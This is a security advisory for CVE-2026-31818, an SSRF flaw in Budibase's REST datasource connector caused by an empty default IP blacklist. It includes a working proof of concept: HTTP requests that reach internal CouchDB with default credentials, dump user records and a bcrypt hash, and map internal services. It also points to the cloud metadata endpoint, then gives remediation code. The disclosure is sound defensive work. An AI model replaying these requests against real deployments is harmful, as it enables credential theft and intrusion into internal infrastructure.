Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-31818 is a critical severity vulnerability with a CVSS score of 9.6. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
| Field | Value |
|-------|-------|
| Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |
| Product | Budibase |
| Version | 3.30.6 (latest stable as of 2026-02-25) |
| Component | REST Datasource Integration + Backend-Core Blacklist Module |
| Severity | Critical |
| Attack Vector | Network |
| Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |
| User Interaction | None |
| Affected Deployments | All self-hosted instances without explicit BLACKLIST_IPS configuration (believed to be the vast majority) |
A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLIST_IPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.
This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.
The vulnerability is particularly severe because:
File: packages/backend-core/src/blacklist/blacklist.ts
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
const blacklist = env.BLACKLIST_IPS // ← reads BLACKLIST_IPS
const list = blacklist?.split(",") || [] // ← empty array if unset
let final: string[] = []
for (let addr of list) {
// ... resolves domains to IPs
}
blackListArray = final // ← empty array
}
// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise<boolean> {
if (!blackListArray) {
await refreshBlacklist()
}
if (blackListArray?.length === 0) {
return false // ← ALWAYS returns false when empty
}
// ... rest of check never executes
}
Problem: When BLACKLIST_IPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.
File: hosting/.env (official Docker Compose deployment template)
MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present
No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.
File: packages/server/src/integrations/rest.ts
// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) { // ← always false
throw new Error("Cannot connect to URL.") // ← never reached
}
// Line 708:
response = await fetch(url, input) // ← unrestricted fetch
| Operation | Endpoint | Required Permission |
|-----------|----------|-------------------|
| Create datasource | POST /api/datasources | BUILDER (app-level) |
| Create query | POST /api/queries | BUILDER (app-level) |
| Execute query | POST /api/v2/queries/:id | QUERY WRITE (can be granted to any app user) |
Route definitions:
packages/server/src/api/routes/datasource.ts:19 → builderRoutespackages/server/src/api/routes/query.ts:33 → builderRoutes (create)packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBAL_BUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.
An attacker can read:
/_all_dbs)/global-db/_all_docs?include_docs=true)Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:
The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to:
cd hosting/
docker compose up -d
# Wait for services to start
# Create admin account via POST /api/global/users/init
# Login to obtain session cookie
Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env
POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>
{
"datasource": {
"name": "Internal CouchDB",
"source": "REST",
"type": "datasource",
"config": {
"url": "http://couchdb-service:5984",
"defaultHeaders": {}
}
}
}
Response (201 — datasource created successfully):
{
"datasource": {
"_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
"name": "Internal CouchDB",
"source": "REST",
"config": { "url": "http://couchdb-service:5984" }
}
}
No warning, no validation error — an internal hostname is accepted without restriction.
Create and execute a query to GET /:
POST /api/v2/queries/<query_id> HTTP/1.1
Response — Internal CouchDB data returned to the attacker:
{
"data": [{
"couchdb": "Welcome",
"version": "3.3.3",
"git_sha": "40afbcfc7",
"uuid": "9cd97b58e2cef72e730a83247c377d2b",
"features": ["search","access-ready","partitioned",
"pluggable-storage-engines","reshard","scheduler"],
"vendor": {"name": "The Apache Software Foundation"}
}],
"code": 200,
"time": "44ms"
}
Query: GET /_all_dbs with CouchDB admin credentials (from .env: budibase:budibase)
{
"data": [
{"value": "_replicator"},
{"value": "_users"},
{"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
{"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
{"value": "global-db"},
{"value": "global-info"}
]
}
Query: GET /global-db/_all_docs?include_docs=true&limit=20
Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)
Response — Full user record with bcrypt hash:
{
"data": [{
"total_rows": 4,
"rows": [
{
"id": "config_settings",
"doc": {
"_id": "config_settings",
"type": "settings",
"config": {
"platformUrl": "http://localhost:10000",
"uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
}
}
},
{
"id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
"doc": {
"_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
"email": "[email protected]",
"password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
"builder": {"global": true},
"admin": {"global": true},
"tenantId": "default",
"status": "active"
}
},
{
"id": "usage_quota",
"doc": {
"_id": "usage_quota",
"quotaReset": "2026-03-01T00:00:00.000Z",
"usageQuota": {"apps": 2, "users": 1, "creators": 1}
}
}
]
}]
}
Exfiltrated data includes:
[email protected]$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbKbuilder.global: true, admin.global: trueMinIO (Object Storage):
Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO
Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.
Redis (Port Scanning):
Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)
Different error from non-existent host → confirms service discovery capability.
Non-existent service:
Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"
| Target | URL | Response | Service Confirmed |
|--------|-----|----------|-------------------|
| CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access |
| MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access |
| Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open |
| Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |
This differential response enables internal network mapping.
Builder role for one apphttp://couchdb-service:5984global-db to get all user records with password hashesCreator role (lower than Builder)http://169.254.169.254/latest/meta-data/User Request
│
▼
POST /api/datasources [BUILDER permission]
│ packages/server/src/api/routes/datasource.ts:32
│ → No URL validation on datasource.config.url
▼
POST /api/v2/queries/:queryId [QUERY WRITE permission]
│ packages/server/src/api/routes/query.ts:63
▼
packages/server/src/threads/query.ts
│ → Executes query via REST integration
▼
packages/server/src/integrations/rest.ts
│ Line 684: blacklist.isBlacklisted(url) → returns false (empty list)
│ Line 708: fetch(url, input) → unrestricted request
▼
Internal Service (CouchDB, MinIO, Redis, etc.)
│
▼
Response returned to attacker via query results
// packages/backend-core/src/blacklist/blacklist.ts
const DEFAULT_BLOCKED_RANGES = [
"127.0.0.0/8", // localhost
"10.0.0.0/8", // RFC1918
"172.16.0.0/12", // RFC1918
"192.168.0.0/16", // RFC1918
"169.254.0.0/16", // link-local / cloud metadata
"0.0.0.0/8", // current network
"::1/128", // IPv6 localhost
"fc00::/7", // IPv6 private
"fe80::/10", // IPv6 link-local
]
export async function isBlacklisted(address: string): Promise<boolean> {
// Always check against default blocked ranges
// even when BLACKLIST_IPS is not configured
const ips = await resolveToIPs(address)
for (const ip of ips) {
if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
return true
}
}
// Then check user-configured blacklist
// ...existing logic...
}
// packages/server/src/api/controllers/datasource.ts
async function save(ctx) {
const { config } = ctx.request.body.datasource
if (config?.url) {
if (await blacklist.isBlacklisted(config.url)) {
ctx.throw(400, "Cannot create datasource targeting internal network")
}
}
// ... existing logic
}
Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.
Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.